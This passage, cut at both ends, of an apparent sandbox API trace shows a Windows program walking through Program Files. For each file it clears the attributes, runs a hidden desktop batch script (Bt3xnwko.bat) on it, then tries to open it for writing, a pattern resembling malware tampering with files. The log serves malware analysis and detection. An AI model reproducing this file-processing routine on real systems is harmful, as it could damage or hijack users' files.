nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", lpFilePart=0x368f648*="ImagingDevices.exe.mui") returned 0x42 [0085.629] GetLastError () returned 0x5 [0085.629] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0085.630] LocalFree (hMem=0x70e078) returned 0x0 [0085.630] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0085.630] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0085.630] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0085.631] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0085.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", dwFileAttributes=0x80) returned 1 [0085.631] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"", lpProcessInformation=0x368f864*(hProcess=0x198, hThread=0x1b0, dwProcessId=0xd14, dwThreadId=0xd18)) returned 1 [0085.645] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x1388) returned 0x102 [0091.167] CloseHandle (hObject=0x198) returned 1 [0091.167] CloseHandle (hObject=0x1b0) returned 1 [0091.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe" (normalized: "c:\\program files\\microsoft synchronization services\\kids-memorabilia.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", lpFilePart=0x368f648*="kids-memorabilia.exe") returned 0x48 [0091.168] GetLastError () returned 0x20 [0091.168] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pͨ폈Hͨ퐔Hͨ") returned 0x51 [0091.168] LocalFree (hMem=0x70dac8) returned 0x0 [0091.168] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0091.168] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0091.169] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0091.169] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0091.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", dwFileAttributes=0x80) returned 0 [0091.170] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"", lpProcessInformation=0x368f864*(hProcess=0x198, hThread=0x1b0, dwProcessId=0xd64, dwThreadId=0xd68)) returned 1 [0091.183] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x1388) returned 0x102 [0096.738] CloseHandle (hObject=0x198) returned 1 [0096.738] CloseHandle (hObject=0x1b0) returned 1 [0096.739] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui", lpFilePart=0x368f648*="jnwdui.dll.mui") returned 0x35 [0096.739] GetLastError () returned 0x5 [0096.739] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0096.739] LocalFree (hMem=0x70e078) returned 0x0 [0096.739] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0096.740] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0096.740] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0096.740] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0096.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", dwFileAttributes=0x80) returned 0 [0096.741] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"", lpProcessInformation=0x368f864*(hProcess=0x198, hThread=0x1b0, dwProcessId=0xdbc, dwThreadId=0xdc0)) returned 1 [0096.755] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x1388) returned 0x102 [0101.980] CloseHandle (hObject=0x198) returned 1 [0101.981] CloseHandle (hObject=0x1b0) returned 1 [0101.981] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.981] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", lpFilePart=0x368f648*="Dotted_Line.jtp") returned 0x3a [0101.981] GetLastError () returned 0x5 [0101.981] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0101.982] LocalFree (hMem=0x70e078) returned 0x0 [0101.982] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0101.982] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0101.982] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0101.983] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0101.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", dwFileAttributes=0x80) returned 1 [0101.983] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"", lpProcessInformation=0x368f864*(hProcess=0x198, hThread=0x1b0, dwProcessId=0xe4c, dwThreadId=0xe50)) returned 1 [0101.998] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x1388) returned 0x102 [0107.304] CloseHandle (hObject=0x198) returned 1 [0107.304] CloseHandle (hObject=0x1b0) returned 1 [0107.304] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe" (normalized: "c:\\program files\\windows journal\\trademarksnominationbrighton.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe", lpFilePart=0x368f648*="trademarksnominationbrighton.exe") returned 0x41 [0107.304] GetLastError () returned 0x20 [0107.304] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pͨ폈Hͨ퐔Hͨ") returned 0x51 [0107.304] LocalFree (hMem=0x70dac8) returned 0x0 [0107.304] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0107.305] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0107.305] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0107.305] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0107.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", dwFileAttributes=0x80) returned 0 [0107.306] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\"", lpProcessInformation=0x368f864*(hProcess=0x198, hThread=0x1b0, dwProcessId=0xecc, dwThreadId=0xed0)) returned 1 [0107.320] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x1388) returned 0x102 [0112.399] CloseHandle (hObject=0x198) returned 1 [0112.399] CloseHandle (hObject=0x1b0) returned 1 [0112.399] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.399] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui", lpFilePart=0x368f648*="PhotoAcq.dll.mui") returned 0x3c [0112.399] GetLastError () returned 0x5 [0112.399] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0112.400] LocalFree (hMem=0x70e078) returned 0x0 [0112.400] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0112.400] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0112.401] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0112.401] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0112.401] Sleep (dwMilliseconds=0x5dc) [0114.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", dwFileAttributes=0x80) returned 1 [0114.044] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\"", lpProcessInformation=0x368f864*(hProcess=0x130, hThread=0x198, dwProcessId=0xf34, dwThreadId=0xf38)) returned 1 [0114.058] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x1388) returned 0x102 [0119.182] CloseHandle (hObject=0x130) returned 1 [0119.182] CloseHandle (hObject=0x198) returned 1 [0119.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe" (normalized: "c:\\program files\\microsoft synchronization services\\starbuys.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.182] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", lpFilePart=0x368f648*="starbuys.exe") returned 0x40 [0119.182] GetLastError () returned 0x20 [0119.182] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pͨ폈Hͨ퐔Hͨ") returned 0x51 [0119.183] LocalFree (hMem=0x70dac8) returned 0x0 [0119.183] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0119.183] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0119.183] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0119.183] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0119.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", dwFileAttributes=0x80) returned 0 [0119.184] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"", lpProcessInformation=0x368f864*(hProcess=0x130, hThread=0x198, dwProcessId=0xf94, dwThreadId=0xf98)) returned 1 [0119.198] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x1388) returned 0x102 [0124.442] CloseHandle (hObject=0x130) returned 1 [0124.442] CloseHandle (hObject=0x198) returned 1 [0124.442] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\journal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui", lpFilePart=0x368f648*="Journal.exe.mui") returned 0x36 [0124.443] GetLastError () returned 0x5 [0124.443] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0124.443] LocalFree (hMem=0x70e078) returned 0x0 [0124.443] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0124.444] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0124.444] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0124.444] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0124.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", dwFileAttributes=0x80) returned 0 [0124.446] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"", lpProcessInformation=0x368f864*(hProcess=0x130, hThread=0x198, dwProcessId=0xfd8, dwThreadId=0xfdc)) returned 1 [0124.560] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x1388) returned 0x102 [0129.633] CloseHandle (hObject=0x130) returned 1 [0129.633] CloseHandle (hObject=0x198) returned 1 [0129.633] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", lpFilePart=0x368f648*="Genko_2.jtp") returned 0x36 [0129.633] GetLastError () returned 0x5 [0129.633] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0129.634] LocalFree (hMem=0x70e078) returned 0x0 [0129.634] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0129.634] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0129.635] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0129.635] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0129.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", dwFileAttributes=0x80) returned 0 [0129.636] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\"", lpProcessInformation=0x368f864*(hProcess=0x130, hThread=0x198, dwProcessId=0xc18, dwThreadId=0xc40)) returned 1 [0129.649] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x1388) returned 0x102 [0135.019] CloseHandle (hObject=0x130) returned 1 [0135.019] CloseHandle (hObject=0x198) returned 1 [0135.019] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files\\windows mail\\en-us\\msoeres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui", lpFilePart=0x368f648*="msoeres.dll.mui") returned 0x33 [0135.019] GetLastError () returned 0x5 [0135.019] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0135.019] LocalFree (hMem=0x70e078) returned 0x0 [0135.019] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0135.019] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0135.021] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0135.021] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0135.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe", dwFileAttributes=0x80) returned 0 [0135.021] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" 